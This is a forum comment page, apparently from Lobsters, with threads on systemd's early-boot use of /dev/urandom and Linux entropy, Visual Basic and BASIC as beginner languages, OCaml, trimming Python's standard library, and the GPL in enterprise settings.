1. 12

    The linked Systemd bug is painful to read and terrifying — it sounds like Poettering mighty have zero idea how a CSPRNG works?

    1. 7

      Can you elaborate? It seems to me that he’s saying:

      1. systemd wants cryptographically random keys, but it’s ok if the initial keys aren’t cryptographically secure, because they’ll be resized with new keys later on
      2. /dev/urandom gives us that, without blocking
      3. reading from /dev/urandom early on does not “deplete its entropy”

      I had thought that claims #2 and #3 are true. I guess maybe #1 isn’t obviously true, if there’s some crazy attack vector that invalidates it, but it’s not really about CSPRNGs anyway. So even if it’s wrong, it wouldn’t mean he misunderstands CSPRNGs. Am I missing something?

      1. 3

        You know, I think you’re actually right. There’s a few statements in there that read like Poettering thinks there’s good and bad entropy, or that the concept of deleting the entropy pool is meaningful, but I think he’s actually only taking about the state of the CSPRNG early in the boot process when it may have not been seeded properly.

        On the other hand, I do think the unwillingness to minimize competition for entropy during early boot is a pretty weird attitude.

        1. 10

          Yeah, #1 is still weird to me. Surely, cryptographically secure keys for systemd’s hash tables are either a security requirement during early boot, or they are not. It feels really weird to see the alleged need for secure keys used as a justification for the current behavior, while also claiming that it doesn’t matter that they aren’t secure. Subjectively, the impression I get is that it’s motivated mostly by a desire to avoid having to reason out what the threat model actually is here.

          1. 5

            It’s necessary for the keys to be hard to guess for an attacker, which generally means some kind of cryptographically secure. However, there generally aren’t any attackers during early boot, an even if there was, and the attacker could potentially guess the value of the key during early boot, the keys would be periodically re-generated as the attacker is attacking, and as soon as the CSPRNG is properly initialized, any new keys will be hard to guess.

            Specifically, the random keys are necessary because in regular hash tables, an attacker who can insert something in the hash table can exploit pathological cases in the particular hash function used, turning the hash table’s O(1) lookup into O(n) lookup. The random key prevents the attacker from doing that without knowing the random key. Also, whenever the hash table gets big enough, a new key is chosen as part of the process of expanding the table.

            Systemd knows exactly their threat model; it’s unlikely that there are attackers during early boot, and even if there are, the early boot stage lasts a short enough time that it’s likely not a big issue; therefore, urandom’s semantics of “give me the best random numbers you have available, but if it’s too early to give cryptographically secure numbers, that’s okay” is precisely the behavior they want.

            Keep in mind that we’re not talking about an information leak or RCE vuln; an attacker being able to guess keys only results in a partial DoS where O(1) access turns into O(n) access for a limited time.

            Also keep in mind that reading from urandom doesn’t actually hurt anything (at least from what I understand); it doesn’t deplete any randomness (because that’s not how CSPRNGs work), and it simplifies systemd’s code in a relatively critical area which reduces the chance of bugs causing vulnerabilities. The only issue, from what I understand, is that the kernel will print warning messages about it and that makes it harder to find actual security issues caused by reason from urandom too early.

            1. 5

              Yeah, that all matches my understanding of the discussion on the bug. I guess I disagree that the described harm of obscuring other issues isn’t an important one.

              It does seem like the most reasonable course of action would be to make sure the code in systemd draws a clear distinction between early boot and later steps, and uses different sources of randomness. The current situation seems really bad to leave in place because nobody can actually reason about which security mitigations are in effect when.

              I’m broadly supportive of the systemd approach of making daemom-starting infrastructure into a monolith, but it does come with a responsibility to at least work to keep security parity with the tooling it replaces. Seeing that the maintainer is apparently quite averse to that gives me serious doubts about the wisdom of the project.

              1. 9

                I’m broadly supportive of the systemd approach of making daemom-starting infrastructure into a monolith, but it does come with a responsibility to at least work to keep security parity with the tooling it replaces. Seeing that the maintainer is apparently quite averse to that gives me serious doubts about the wisdom of the project.

                This is the recurring, sinking feeling I get every time one of these Systemd issues pops up. In isolation, it’d be easy to ignore, but as a pattern it makes me feel like we have an increasingly large fraction of userspace managed by folks who are unwilling to consider their role in the Linux ecosystem special in any way.

                Sure, Linux got /dev/urandom wrong, but pretending that init doesn’t have a particular responsibility to manage that wrongness is an attitude that worries me.

                1. 2

                  Yes. I have definitely seen that attitude on other systemd controversies, as well.

                2. 3

                  I completely, 100% agree that systemd should make absolutely sure not to produce messages which obscure actual security issues. It’s scary to see Poettering saying that they aren’t responsible for “misguided” messages for the kernel when any other process reading from urandom before it’s inited would be a security issue. Blaming the kernel and saying it should change is unacceptable, unless it’s actually followed by seriously working together with the kernel people to get the problem systemd is causing fixed.

                  I was just trying to correct the misconceptions around this, and point out that this doesn’t represent a security issue or an attack vector they haven’t thought through.

                  1. 2

                    I definitely think you’ve done a good job of clarifying a situation that there seems to be a lot of confusion around. Before reading the bug thread, I hadn’t realized what a divisive topic randomness apparently is. Your explanation was very clear, and I thank you for it.

        2. 4

          The author notes that he has seen the issue for the first time on Alpine Linux, which doesn’t use systemd. So while systemd might make things worse, the real culprit is that the Linux kernel should’ve copied what OpenBSD does instead of inventing their own scheme which leads to this exact issue.

          1. 1

            There are 2 problems at work here:

            1. The entropy file that openbsd has and uses to initialize the random generator, is not always available or sufficient.
            2. Systemd uses a lot of the entropy which is scarce at boot time, and use of the scarce resource could potentially be avoided.

            So we can’t mindlessly apply the solution of OpenBSD and we should know that systemd makes this issue worse. The problem exists because of these two circumstances and could be relevant for consideration in various use-cases.

            1. 4

              Entropy cannot be used up. Repeat: entropy cannot be used up. To think that it can be is outdated 90s-style crypto thinking.

              All you need is a single 256-bit seed; you then can emit random numbers pretty much forever. You don’t need to worry about using up entropy (although it is a good idea to change the seed over time, in order to protect against state compromises).

              The Linux kernel CSPRNG is broken, period: it should never not return random numbers, once properly seeded. And seeding is pretty easy, too: write a random number to a file at install time, at boot and at shutdown, and/or use RDRAND, and/or use virtio-rng.

              1. -1

                Entropy cannot be used up. Repeat: entropy cannot be used up. To think that it can be is outdated 90s-style crypto thinking.

                No, this is still very much an issue today.

                All you need is a single 256-bit seed; you then can emit random numbers pretty much forever. You don’t need to worry about using up entropy (although it is a good idea to change the seed over time, in order to protect against state compromises).

                Yes I am aware of the fact that we have PRNG’s which are so strong that they can be considered TRNG’s.

                However, that means you have only 2^256 valid sequences (which is not enough), and each time you update the 256-bit seed, you are eating up 32 bytes of entropy for that seed. In fact, this issue is caused by systemd re-initializing it’s random generators way to often during boot-up, where it simply uses up all available entropy to create seeds for random generators, which it uses to initialize key functions for its hash-tables.

                The Linux kernel CSPRNG is broken, period: it should never not return random numbers, once properly seeded. And seeding is pretty easy, too: write a random number to a file at install time, at boot and at shutdown, and/or use RDRAND, and/or use virtio-rng.

                RDRAND and virtio-rng are generators that should be considered broken, because dopant trojans in RDRAND have demonstrated by researchers to be possible and we know for sure that the NSA has a program to build these weaknesses into hardware.

                Your comment did not supply a single solution for these problems and is simply dead wrong.

                1. 4

                  However, that means you have only 2^256 valid sequences (which is not enough)

                  There are 2^259–2^272 atoms in the universe. 2^256 is perfectly fine for the number of valid sequences: it is, for example, well over enough to issue one sequence to each atom in the solar system, 1.15870814e21 times.

                  This is, for example, is why NIST SP 800-90A is able to specify a hash-based CSPRNG.

                  RRAND and virtio-rng are generators that should be considered broken, because dopant trojans in RRAND have demonstrated by researchers to be possible and we know for sure that the NSA has a program to build these weaknesses into hardware.

                  virtio-rng has nothing to do with any purported RDRAND vulnerabilities: it enables a host system to inject randomness into a guest (which the host can already compromise if it wanted to, because it can observe every instruction execution and all of memory — thus security is not lessened).

                  If you are worried about RDRAND don’t use it; that’s why I wrote ‘and/or.’

                  I repeat: entropy is not used up; the Linux CSPRN is broken. I am not aware of any serious cryptographer or serious & knowledgeable security professional who thinks otherwise.

                  1. 0

                    There are 2^259–2^272 atoms in the universe. 2^256 is perfectly fine for the number of valid sequences: it is, for example, well over enough to issue one sequence to each atom in the solar system, 1.15870814e21 times.

                    This is, for example, is why NIST SP 800-90A is able to specify a hash-based CSPRNG.

                    As I said, I am well aware of this. Yet I still would not trust it.

                    I repeat: entropy is not used up; the Linux CSPRN is broken. I am not aware of any serious cryptographer or serious & knowledgeable security professional who thinks otherwise.

                    I’m starting to wonder whether or not you’ve actually read the article.

                    The problem it’s about, is a problem where systemd drains the entropy pool to such an extent that you don’t even have enough any more to get a seed number from it. It has nothing to do with cryptography, but it causes an issue where the system is so starved of entropy that the cryptographic tools can’t even get a seed number for their random generators. In this case, entropy is in fact “used up”.

                    1. 3

                      I think you may be talking at cross-purposes because of a misunderstanding of what those kernel warnings mean. They’re trying to warn that the random seed has not yet been initialized in the first place, because of how early in the boot process this is happening. There is certainly a lack of entropy, but it’s not accurate to say that anything has been used up.

                      1. 1

                        Fair enough… I could be misunderstanding things.

                        But given the way systemd initializes (just keep on pulling potentially bad entropy from random until we have good entropy) and the fact that this is highly correlated with the time at which the only other crytpo thing that is on that raspberry pi (sshd) comes up, I don’t see how it could be anything other than an empty (or at least not adequately filled) entropy pool.

                        1. 2

                          I wouldn’t have used the term “entropy pool” because, in reading this discussion, I’ve realized that it has a strong potential to create misconceptions. I don’t think we disagree on the conclusion though.

                          1. 1

                            I wouldn’t have used the term “entropy pool” because, in reading this discussion, I’ve realized that it has a strong potential to create misconceptions.

                            Uhm why? This is exactly the kind of issue that systemd is causing by reading from urandom before the pool is filled.

                            Also: It is exactly the terminiology used by the patch that introduced this functionality. Even straight down to the source code.

                            If I am wrong, I am more than willing to accept that, but I just don’t see how I could be wrong here….

                            1. 3

                              You’re not wrong, and yes, prominent people use the term. I’m not suggesting any bad intent on anyone’s part, and I’m not telling anyone else they shouldn’t use it, it’s just that I don’t want to. I guess these days I’m heavily biased towards examining every metaphor in terms of what kinds of discussion it allows, because of the political work I’ve been doing.

                              Concretely, if there’s a “pool” it makes sense to think about metaphorical water being added and removed, but in fact you can only add to this pool; when you take stuff out it doesn’t deplete what’s there. I would never tell other people how to talk about this stuff; it doesn’t really matter that much. If I expected to do much talking about it though, I would probably try to come up with a metaphor that’s a better fit.

                              1. 1

                                But that is the whole point.

                                It is implemented in such a way thay “water can be taken out of the pool” and systemd is causing systems to hang on boot because it takes too much of it early on.

                                1. 1

                                  No, that’s not the reason for the delay. There is a separate but related issue where systemd, which is responsible for restoring the saved entropy from the previous boot, does so in a way which the kernel doesn’t track appropriately.

                                  1. 1

                                    There is a separate but related issue where systemd, which is responsible for restoring the saved entropy from the previous boot, does so in a way which the kernel doesn’t track appropriately.

                                    That is true, but it is only one half of the problem and the underlying problem (machines that can take minutes to boot) would still not be solved. Even if the kernel would track this appropriately.

                                    The other half of the problem is caused by the fact that systemd is using urandom at a time at which it has not been properly initialized. If urandom is not properly initialized, it immediately drains available entropy from the pool.

                                    This behaviour can be seen by adding a unit-file which starts a small program that prints the contents of /proc/sys/kernel/random/entropy_avail a few times per second during at the first stages of bootup, right after basic.target is reached.

                                    To add insult to injury, this happens tens of times (in a normal case) and hundreds of times (worst case I’ve seen by turing hwrng off on an rpi without network connection) during bootup when systemd resizes it’s hash-tables.

                                    If at that point in time, sshd and/or an ssl-enabled web server are competing against systemd, your boot procedure will hang and take somewhere from the better part of a minute to hours (as is reported various times on the bugtrackers).

                                    This becomes especially prevalent on installers which have to access some https-sever to download their packages, and since it are installers, there is no entropy-file to load on the first boot by definition. And if such an entropy file is available for an installer, the “security” of the channel it uses to download it’s packages is severely compromised right from the get-go.

                                    Sure, maybe the kernel is partly to blame, but there is also no denying that systemd is using obscene amounts of random numbers here, because if you knock systemd out of the equation, the other daemons (ssh and httpd-ssl/tls), get their required amount of randomness nearly instantly and swim right past the boot procedure in virtually no time.

                                    I can easily see this getting much worse in scenario’s with lots of virtual servers and containers in the cloud if, for example, an entire datacenter has to be brought back up after a power failure knocks it, or a significant part of it, out.

                                    The same thing goes for embedded systems (most blatant example are the TV set-top-boxes) that take a really long time to boot up once they’ve been taken off external power for a fraction of a second due to a brownout.

                                    This is the point that the author is trying to make. And don’t get me wrong; I don’t care about which init-system is powering my systems as long as it boots reliably within a reasonable timeframe (max 3 minutes), but I do stand by the point of the author that this is something that needs fixing. Also: In my opinion, there’s a lot more blame to be put on the systemd side of things than on the side of the kernel developers.

                                    1. 2

                                      I’m not entirely sure how you’re coming to this conclusion, but I think it would be generally harmful to the culture of this site to get drawn into a back-and-forth which is mostly about factual diagreement, so I’m going to withdraw from the discussion now. I appreciate how you’ve stayed polite, especially considering that (even if I feel it shouldn’t be), this is a very contentious topic.

                                      1. 1

                                        I’m not entirely sure how you’re coming to this conclusion,

                                        Mostly by measuring things on a raspberry pi v1 model B I have just for the purposes of investigating “nasty” stuff like this. Re-imaging SD-cards is relatively quick and easy. The other parts of the knowledge comes from interpreting and combining knowledge from the bug reports which you can find by following the links the author of the original article provided.

                                        but I think it would be generally harmful to the culture of this site to get drawn into a back-and-forth which is mostly about factual diagreement, so I’m going to withdraw from the discussion now. I appreciate how you’ve stayed polite,

                                        I agree. To be fair, I was starting to get slightly annoyed as well, but mostly at myself. “Why doesn’t she get it? What vital piece of the puzzle am I missing or skipping that prevents this problem from getting accross?”. I don’t mind a few heated debates, because “groupthink” is often more harmful than it is useful, but one of the most important things is that things are kept civilized.

                                        especially considering that (even if I feel it shouldn’t be), this is a very contentious topic.

                                        To me this is not a contentious topic at all. It’s just something that needs to be fixed. I think the author of the original piece feels the same way and I think that he wrote his blog-post out of frustration about how the systemd team is handling things by turning a blind eye to this issue. I think his post is mainly motivated by desperation.

                                        1. 2

                                          Yeah, I mean, it sounds like you’ve done some pretty thorough experiments. It’s clear you’ve studied this a lot more than I have. What you’re saying doesn’t align with my understanding of the theory, but code does weird things sometimes, so I’m definitely not prepared to say it can’t be that way. The way to continue the conversation would be to get into detail about your methodology, but realistically it doesn’t make sense for me to be challenging that when you have a stake in the topic and I don’t.

                                          We’re 100% in agreement that there are technical fixes that need to be made here, and I think we even agree about what they are. I definitely sense desperation in the article.

        1. 2

          I never used Visual Basic since my path to computing didn’t involve DOS and Windows (except for games), but a lot of the stuff that purportedly made Visual Basic popular sounds like (Common) Lisp.

          So was Visual Basic the Lisp in sheep’s clothing?

          1. 4

            So was Visual Basic the Lisp in sheep’s clothing?

            No, not by any means. I’ve written in VB6 and Clojure and their commonalities are that they are both untyped and run on computers I guess. Visual Basic is an extremely limited language mostly propped up by its IDE and it’s ability to completely ignore errors (ON ERROR RESUME NEXT). Visual Basic neither has macros nor homoiconicity nor CLOS.

            So, yes, you can edit code at runtime. Erlang can do hot code reloading as well but I wouldn’t say that Erlang is Common Lisp because of that or Erlang is Visual Basic. Erlang has Prolog syntax but it doesn’t make it Prolog either.

            I think you should consider yourself lucky for missing out on this one because the article is right in one thing: Visual Basic made it extremely easy to write programs completely without any structure. In fact, the fact that the IDE automatically generated event handler functions and prevented you from seeing the whole structure made it actually harder to have an overview over your program. In a way, it might have more similarities with Smalltalk IDEs than with things like Eclipse.

            1. 2

              TL;DR: many-perhaps-most of us learn best from mistakes, and so a language that let’s you make all the truly lastingly-educational mistakes easily while shielding from more “lame” (operational/low-level/hardware-level/interrupts/pointers/syscalls or satisfying Hindley-Milner etc) mistakes (ie. not teaching about good practice through suffering from bad practice, just about some spec or paper you should have read) was and is and will be precious for learners.

              I think you should consider yourself lucky for missing out on this one because the article is right in one thing: Visual Basic made it extremely easy to write programs completely without any structure.

              Not denying this claim or others made, but one thing I know. When I started out (~1998-ish), I perused in the local town library first the C and C++ books, also a Miranda book, and just scratched my head — they explained all sorts of abstract and/or mathematical and/or low-level things but could never just get to doing some sort of “cool project from start to finish, interactive and on your screen”. (Guess I missed out on the mags with source listings that the 80s kids in the Anglo-sphere had access to.) As a PC aficionado teen (kinda rare traid back then) I wasn’t interested in the chapters upon chapters on what to know about C’s pointers or Miranda’s endless recursion elaborations without being shown some good hard real-world reasons for it all. Wasn’t necessarily scared, just hell-bent on going with material that got me somewhere neat instead of filling my head with what some PhD book author deemed VeryImportantIndeed. Pride of youth and eagerness! Well, I grabbed the QBasic booklet at last and it was pure fun exploring first everything in there and then everything else that it didn’t cover, too. VB was a re-iteration of the same highly-iterative fun way of creation. Yeah, they were never enterprise-strength. But they got a beginner excited like nothing else and kept them invigorated like that sustainedly for very long afterwards. In my case paved the way for later transition of Pascal and then “any language whatsoever, no biggie”. I would never have gotten my start with all the other langs in existence back then or even today. See, some people (like me) have a mind-set where, although over time they come to accept and learn to master all the little book-keeping and intrinsic subleties & implications involved in any language’s details, they’d never start down the path of programming if that indeed appears to be 90+% of the day-to-day doing, from the initial learning materials one has access to. Back then, Basic was the only “hey ho, let’s go” thing in existence as far as my local library and mags were concerned.

              Yes, not fit for the enterprise. Yes, easy to spaghetti-code. It’s all known. But — great to get tinkering-minds started tinkering, without having to drown in the stuffy for what would feel like ages to the impatient budding maker.

              A decade or so later, I think Flash/ActionScript came closest to the Basic experience for the kids of that decade(given that by then VB.NET was now just yet another OOP resume-boosting systems-architecty enterprise apparition). That is, interactive iterative visual results from your code that might go wrong in weird ways but would hardly ever blow up in your face. Until iOS came along to mortally wound it without any kind of replacement. Hey kid, wanna try some XCode? :D

              I think your comparison to SmallTalk is most apt. What some Alan Key et al papers of the late 70s / early 80s describe about getting kids / novices started with that, very similar captivating and hooking experiences apparently. Nothing beats this approach to crafting logic and seeing it live and stumble and grow as you keep etching it out iteratively.

              Oh yeah, my local library had Lisp books too. This sort of stuff just smelled off to me. Certainly 10 years later I could appreciate me some Paul Graham or LtU material (without ever getting anything awesome out of it in terms of actual production), certainly great mental grappling and the code-gen capabilities are delicious but I would suspect only a minority of budding “tinkering minds” would easily get hooked on any Lisp as their first language exposure. Although I get there are comic-style efforts like Land of Lisp / Realm of Racket and so on aiming to deliver a more “fun” learners’ starter pack so to speak. But the fun in Basic (and I guess Flash/AS) was very much not in the Gorillas, or the syntax, or in happy cartoony chapters. It just got you going insanely rapidly (and let you easily share the final artifacts with anyone without needing to pass along setup instructions — exes for Basic and swfs/htmls for Flash) and didn’t pester the blooming doer/maker/creator with endless caveats and too-numerous need-to-knows. Same in VB, until one started later on with importing COM / ActiveX DLLs but by then one could handle some pain and soon transitioned to more “mature” dev envs.

              It’s good to have a beginner’s environment full of “real-world short-comings” in the pursuit of rapid zero-to-results action. Because the only way to truly “know” of its short-comings and pitfalls is to stumble over every one of them, repeatedly. That’s why I disagree on some old-timers’ (and current folks’) opinion (not that the article or this thread voiced it, but it’s occasionally heard) that getting budding devs started on Basic ensures they will suck forever. They who have waded through the mud, by necessity have learned (or will more easily re-discover) how to evade the mud in any other environment, because it’s always there even if elsewhere makes it harder to stumble into. =)

            2. 3

              I started with QB and went onto VB6. The negatives are all true. I fondly remember the positive I didn’t get with C, C++, or C#: the ability to go from a code change to running program in 1 second. Then do it again and again with my mind still flowing. Folks using Lisp and Smalltalk with good IDE’s know what that’s like. So, BASIC’s were like that except with an imperative language simple enough for anyone to learn. There was also a lot of code and documentation out there to draw on.

              FreeBASIC is still around for people that like it. When I surveyed languages, it was one of easiest to get from download to running program. Still simple. Gambas tries to be more VB6-like. Today, I’d recommend a good book for beginners with a focus on Python. More for its plentiful libraries and communities using it in all kinds of situations. Beginners can move from toy projects to things that actually interest them rather quickly. Maybe even get a job.

            1. 2

              I have both of these books but for the most part the quality of the electronic copy is quite bad.

              1. 6

                I went through a (long) period of OCaml development. It’s surprisingly common in the enterprise, or at least was when I was using it. It’s a truly beautiful language.

                That being said, I’ve always fallen on the Caml side of the ML-vs-OCaml debate. I’ve always been loathe to mix paradigms and the “O” part of OCaml is, while absolutely done in the right way, a lot to add on top of Caml (or ML).

                (Again, it’s easy to criticize. I’ve never written a beautiful language used by millions. It’s solely a personal qualm of mine.)

                1. 2

                  Are there advantages to Caml over Standard ML?

                  1. 3

                    Countless advantages. It’s purely a minimalism thing on my part.

                  2. 1

                    Hi,

                    could you sketch out the type of projects you were building in Ocaml? If starting over, would you consider Haskell as a suitable replacement?

                    1. 1

                      Does the “O” part leak into everything else or can you easily work more or less only with the Caml side of OCaml?

                      1. 5

                        In my experience (YMMV), you can pretty much ignore the O part…but (a) that was years ago and (b) I’m really bad at ignoring things even when I’m not using them.

                        1. 2

                          It is still the same. In fact you almost never need to use The O part, and also when you think you do, in most cases, it is more idiomatic to use modules and module functors (parametrised modules)

                          1. 2

                            Though there are cases where the O part might be useful. Personally I don’t use it, but just as @lorddimwit noted it is quite an interesting take on “objects” that might even benefit predominantly functional programmers.

                          2. 1

                            Thank you.

                      1. 12

                        Kernelization has its disadvantages.

                        Right now, Python is a terrific introduction language. It’s simple yet regular syntax makes it easy to teach, and the full-featured standard library provides much of what a new programmer could want. Maybe not the best and newest takes on various domains, but more than enough for a beginner with modest means. All this comes in a single package from python.org.

                        The article suggests that we “kernelize” Python by removing a default “user space” of standard libraries and move those libraries like pip to an installer model.

                        Teaching dependency management with pip and all its friends (venv? Peotry? Pipenv?) sounds fraught to me - and unfriendly to beginners when the ecosystem and best practices seem to be in such flux.

                        We might also see that change will fragment Python - like Linux - into a myriad of competing distributions. There are already Python “distros” like conda out there, but a kernelized Python almost necessitates that everyone pick a distro. One more extra burden of choice and burden of research for a newcomer.

                        This is a good take for technical experts (this crowd) but a poor one for learners and approachability. How much easier would Linux be to learn if there was Only One Way to do it?

                        1. 4

                          Agree 100%. One of Pythons greatest strengths is its decent standard library, and built in package manager:

                          https://docs.python.org/library/ensurepip

                          I am fine with slimming down standard library, but dont remove it. We dont want to turn Python into C, where the standard library has almost nothing. All it does it force novice users to create their own their own terrible solution, or send them hunting into a forest of thousands of packages. One of the biggest pain points for me with any language is finding something I consider “basic” not in the standard library, and trying to figure out what package to use. Dont put that hassle on the community.

                          Deciding where to draw the line is a hard problem yes, but the alternative of no standard library is worse.

                          1. 4

                            Maybe the answer is two tier: core and stdlib. Core could be a narrow subset of modules that make up the base of the language and stdlib could be bootstrapped off of core (i.e., stdlib is all python code written using core or other stdlib). It would make it much easier to port stdlib to other pythons.

                            Of course it would take rewriting stdlib in some subset of modules that are deemed core. Would take a lot of work I imagine.

                          2. 2

                            The article suggests that we “kernelize” Python by removing a default “user space” of standard libraries and move those libraries like pip to an installer model.

                            As I read it (and here I’m speaking with the benefit of knowing the author, and also knowing the author of the piece he refers to in the intro), the article is being deliberately hyperbolic in mentioning the Kondo approach. The actual suggestion is:

                            We need a “kernel” version of Python that contains only the most absolutely minimal library, so that all implementations can agree on a core baseline that gives you a “python”, and applications, even those that want to run on web browsers or microcontrollers, can simply state their additional requirements in terms of requirements.txt.

                            A baseline set of modules significantly smaller than the current Python standard library is a provocative idea, but not necessarily new or even particularly radical; as Glyph points out, Linux distributions have a history of breaking up Python’s standard library across multiple separate distro packages, and while it’s been an annoyance for people who maintain things that depend on the standard library being shipped whole, it also seemingly hasn’t killed Python’s growth and adoption. And standardizing the minimal subset that gets to be called a distribution of Python would go a long way toward reducing the headaches imposed by distros’ current fragmentation of the standard library.

                            Teaching dependency management with pip and all its friends (venv? Peotry? Pipenv?) sounds fraught to me - and unfriendly to beginners when the ecosystem and best practices seem to be in such flux.

                            This I think is a bit unfair as a criticism, because most of the variation in workflows is on the producer side of packaging, not the consumer side. Consumers of Python packages don’t need to know or care what toolchain someone used to produce those packages. The main split on the consumer side is between users of pip and users of conda, which is is really more of a split between sub-communities working in different problem domains (a rough and grossly oversimplified description might be: if you’re writing networked applications you’re probably a pip user; if you’re doing numeric/scientific computing you’re probably a conda user).

                            1. 1

                              Would a ‘satellite’ language, let’s call it PythonBare – be an ‘in-between’ option ? it will be part of standard python distro, but could also be distributed without the main ’big Python.

                              Just trying to draw analogies between BetterC (a subset of D) and this discussion. I think for purposes of D, to have a language with D syntax, that can directly leverage pre-installed C-libraries is a big deal.

                              Although, thinking about it, not sure, to be honest, if the above analogy/benefit extends to Python world – because ‘PythonBare’ still can only use python libraries.

                              On another hand if PythonBare could some how automagically import and leverage without any wrappers available C-libraries, then may be there is an advantage (similar to BetterC or Zig ).

                              1. 2

                                From my relatively uninformed viewpoint, it sounds like both RPython or Cython might be a suitable starting point for your BarePython idea.

                                RPython is a restricted set of Python that’s used to implement the PyPy JIT runtime. Not all methods are available, and things like interators are simplified.

                                Cython is a compiles extension language that easily inter-operates with C and Python. It’s not clear to me if Cython can use Python stdlib imports.

                              2. 0

                                It’s simple yet regular syntax makes it easy to teach

                                I feel like this is becoming less and less true. Annotations are not particularly simple, how everything works together in Async is quite complicated actually (thats actually true for many things in Python), lots and lots of new syntax with only little use being introduced.

                                Python seems to try to become everything for everyone but is not tackling the elephant in the room which is the terrible package management. As you say, better have a large stdlib of obsolete code than to refer beginners to the horror that are virtual environments and its managers. Which is sad, because node manages to get by with a rather small standard library since installing things using npm is feasible.

                                I always felt that this whole easy_install, setuptools, pip, virtualenvwrapper, venv, pipenv, etc etc. stuff was only necessary because CPython has no good way of handling envirornments on its own so everybody just tries to get by with juggling PYTHONPATH. Implementing a better way of locating modules in CPython could make this pain go away.

                              1. 8

                                So, an interesting side effect of the GPL is you’re effectively banning your software from being run in large enterprise environments with legal departments that are concerned that having any GPL code will be infectious and that Stallman will come and steal all their monies :)

                                Our socialist free software utopia is ripe for exploitation by capitalists, and they’ll be rewarded for doing so. Capitalism is about enriching yourself - not enriching your users and certainly not enriching society.

                                IMO this boils down to whether or not you think capitalism is inherently exploitative at its base or whether it can also be a force for good.

                                I’m on the fence on this one. I would love to live in a post materialism utopia, and in that world, I would be utterly in favor of the GPL and the total freedoms it guarantees.

                                But in this world, the world where my choices are profit or die (quite literally in my case) , I’m less convinced that profiting from other people’s work when it’s a gift, ostensibly freely given, is inherently exploitative.

                                I give people free software because I want them to reciprocate with the same. That’s really all the GPL does.

                                This right here? This is the best articulation of all the hurt and anger I see around companies like the one I work for building commercial products based on OSS code bases. This actually makes sense to me, and is perfectly reasonable.

                                Permissive licenses were designed to allow for commercial use of the licensed work, so having expectations to the contrary seem like a recipe for disappointment to me. Rather than being outraged, software authors should choose licenses that will do what they want and mean, and save their energy for creating more awesome software :)

                                As others have said it’s a great article - super thoughtful and well written. Thanks for posting it!

                                1. 8

                                  I’m on the fence on this one. I would love to live in a post materialism utopia, and in that world, I would be utterly in favor of the GPL and the total freedoms it guarantees.

                                  There’s great irony here; as the article points out, in such a world the GPL wouldn’t exist, because it would be pointless.

                                  1. 6

                                    More correctly, it would be unnecessary. Like in the scientific environment, where people don’t feel the need for reciprocity and anti-troll clauses when publishing a paper.

                                    1. 2

                                      In the scientific environment, most of it gets put behind paywalls even though that isn’t strictly necessary. I think they also give them the copyrights, too, in many cases. There’s been more papers on the open sites recently. So, we might look at the scientific environment like software when it was mostly proprietary with a strong upswing of F/OSS.

                                      1. 1

                                        most of it gets put behind paywalls

                                        Researchers are not being paid by that and that’s also besides the point. There are no restrictions on the concepts of the paper, e.g. a theorem. Readers can teach the theorem to other people or use it without some legal restriction (e.g. being required to provide citation or not to sue the author of the theorem)

                                    2. 5

                                      There’s great irony here; as the article points out, in such a world the GPL wouldn’t exist, because it would be pointless.

                                      My understanding is that GPL is exactly that: a copyright way of fighting copyright. From what I remember Stallman basically created it to restore the world to the state it was before people started copyrighting software: hardware came with the full source code and you could modify whatever you wanted. Kinda like the freedom @SirCmpwn is describing in the article.

                                      1. 1

                                        You’re absolutely right. In a sense, the GPL exists to protect software author’s intent FROM capitalism and the legal mechanisms around it.

                                          1. 1

                                            He’d know. Look forward to reading that interview when I have more time.

                                      2. 9

                                        you’re effectively banning your software from being run in large enterprise environments

                                        This is generally false. Only some large companies are avoiding GPL. Only some versions of it (3). And only in some use-cases. Also, they can change their decision without asking you.

                                        IMO this boils down to whether or not you think capitalism is inherently exploitative at its base or whether it can also be a force for good.

                                        How can you leap to this conclusion from reading a license? Plenty of companies release software under conditions that are way more restrictive than GPL (closed source, partnership agreements, contribution agreements…).

                                        1. 3

                                          This is generally false. Only some large companies are avoiding GPL. Only some versions of it (3). And only in some use-cases. Also, they can change their decision without asking you.

                                          I will absolutely cop to my statement being too general, but you’re going to far the other way. I can speak to at least several environments where this is in fact the case.

                                          1. 3

                                            What, exactly, is the case? I’m aware of the internal policies of some FAANGS and other large companies.

                                            1. 8

                                              I can only speak for Google (having worked at the open source office), and our docs on GPL are here: https://opensource.google.com/docs/thirdparty/licenses/#restricted

                                              Google’s monorepo and strong launch tooling means that we have very high confidence that GPL code doesn’t sneak into code that it shouldn’t, and we take great pains to ensure that all OSS is separated into a separate directory tree to make sure that people don’t accidentally patch the library and trigger a reciprocal license. We can do this because we have the money to have an OSS office, because we have the money to build the tooling, and because we have the institutional support to be a good OSS neighbor.

                                              If I was CTO of a smaller company or one where all the code was federated into small repositories that I can’t track, I personally would ban GPL-style licenses. License forgiveness is certainly helpful, but once you’ve violated the license you are in a sticky situation where you have to either excise the library, or find employees who never looked at the code to clean-room implement it. Depending on how big that library is you might be very screwed. I would just see GPL as too dangerous.

                                              1. 6

                                                I would just see GPL as too dangerous.

                                                That’s basically the point. If you plan to restrict users, stay away from the code that was written to provide them with freedom :)

                                              2. 3

                                                The (small) company I work for (based in Sweden, sells software for telecoms) bans the use of GPL libraries.

                                                1. 5

                                                  The company I work for (based in Finland, sells software for telecoms) also bans the use of GPL libraries. ;)

                                                  1. 0

                                                    There’s a pattern emerging. It’s… that we need to sell GPL license exemptions to telecoms. Oh yeah!

                                          2. 3

                                            Except GPL would actually allow you to make money as a creator by selling a dual license. If you released it as MIT, then well, too bad.

                                            1. 0

                                              Care to explain this a bit? MIT is a permissive license, so you can sell your work, as can others. What’s “too bad” about this?

                                              1. 2

                                                Let’s say you have a library you wrote with MIT license that a company wants to use. You can’t sell them a license but you can sell them support. Most companies will simply not pay you.

                                                However, with GPL, companies are afraid to use your library for free because GPL would force them to open source. You can say “look, I can sell you a license and you won’t be forced to open source”. This is a dual license scheme where companies pay you for the right not to have to open their own code.

                                            2. 3

                                              you’re effectively banning your software from being run in large enterprise environments

                                              Are you ? AFAIK, you are not allowed to modify it privately or use it as an integral part of another solution. If you just use the tool as an end user on your own, I am 99% sure you can’t be approached by the layers. If I am wrong, I would also like to know :)

                                              1. 12

                                                The point is that these companies don’t actually care what the true legal implications are and just run away out of GPL phobia.

                                                The GPL is used commercially in many places, so if you think you can’t do business with the GPL you’re either mistaken or your business is shady.

                                                1. 2

                                                  The point is that these companies don’t actually care what the true legal implications are and just run away out of GPL phobia.

